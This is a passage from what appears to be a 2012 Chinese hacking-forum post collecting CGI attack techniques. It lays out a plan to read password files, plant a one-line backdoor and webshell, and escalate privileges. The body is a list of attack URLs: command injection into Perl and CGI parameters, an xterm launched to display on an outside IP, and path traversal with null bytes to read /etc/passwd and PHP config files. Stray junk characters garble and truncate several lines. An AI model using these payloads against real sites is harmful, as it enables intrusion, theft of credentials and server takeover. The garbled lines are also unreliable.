找回密码
 立即注册
查看: 3110|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  8 M8 ]3 b: [$ f+ C9 X0 B& P0 j
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
+ }, D0 `+ \2 a5 n1 x5 h感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
, I2 x1 Y+ x! C+ a, ]0 D  V( O注“  
! N7 I3 v1 w7 t$ xperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
1 t( \5 G" ?* n以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
0 }. ~4 f$ a& Z* y1 n3 F( ^: K( P! W
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  $ Z; U0 K8 Z: J! U; M  u$ b
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  + u0 _- ?8 S* H: o) R
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
1 r4 G- w4 x+ Y+ R: ]- l2 Hhttp://target.com/cgi-bin/home/news/sub.pl?`id`  ; U: Y4 S0 x7 r# G5 `/ @
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
+ l+ k/ s% U$ X. U- Q7 V# Ehttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
. \1 `8 \2 T# B8 j4 a" K9 B) M+ f
. m# q* c) K# f6 L: M! |/ S/ W1 vhttp://target.com/test.pl;ls|  4 p# z) L; U/ [
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
8 a1 _' r* n& e# r1 ?/ g. ^% Z$ \http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  % z( D  }1 s; H; R- q' T; t
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
& n( e* y) n/ c% j! d8 g8 p4 m比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
7 f3 z! |# p. \( q/ R2 `: Z' }# vhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
2 c  h! ?3 p% \: Z5 N4 I" Z& \( x" C  r# B
http://target.com/test.pl?&........ /../../etc/passwd  
* t0 s8 j4 S/ b- C  d1 e+ ?
% v' C  b% ]2 [; `/ c1 v7 I# Ohttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  ( ?4 F4 o) u* I) d/ d5 K* z  c2 E% ~
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  , |& A4 Z2 j' S) U+ `" A) Q
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
! y/ @0 e% W# h$ b% ^: y; K( L, q$ R, n6 _9 F
http://www.target.org/show.php?f ... /include/config.php 查看php代码  
" b4 y/ W+ {& y' x: e; }9 I3 H  ~8 ?http://www.target.org/show.php?f ... ng/admin/global.php  
( I  ?  F% W/ H. X7 Z
' M! B' l" n/ c4 e6 J- E3 ^emm和ps的一句话3 m2 j' l4 k2 x4 P( ?/ z; ?0 i6 u- m
1 `& h* o2 D1 x1 x/ A# t
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
5 ^# J- G7 W% {6 I0 H' Q/ }. T4 Q
7 O7 G1 Y2 @# c$ H8 S% `( \- h>bbb%20|  7 {" F6 B* J& E# q
/ I% n: W6 k! i" y- b6 z! T/ q/ J5 E3 h
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
7 V: G% C9 m' o7 h7 U0 a
5 _& L3 d5 L6 |/ v& M4 K8 F7 ?http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  1 x2 h! [# x" t0 k1 Y( Z
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  $ I) Z3 I/ {  p: O+ ~- J% j1 g
/ C7 B) a& u/ X3 c/ R/ J
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  % w+ Z9 ]4 v6 v& _- e6 b+ T
http://target.com/index.html#cmd.exe  - \5 q* T8 j5 j& |8 o- c* C4 Z
http://target.com/index.html?dummyparam=xp_cmdshell  
, X* {4 ^9 |" c& o+ Olynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
" M  I/ M# ]! Q% g+ \" a* C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表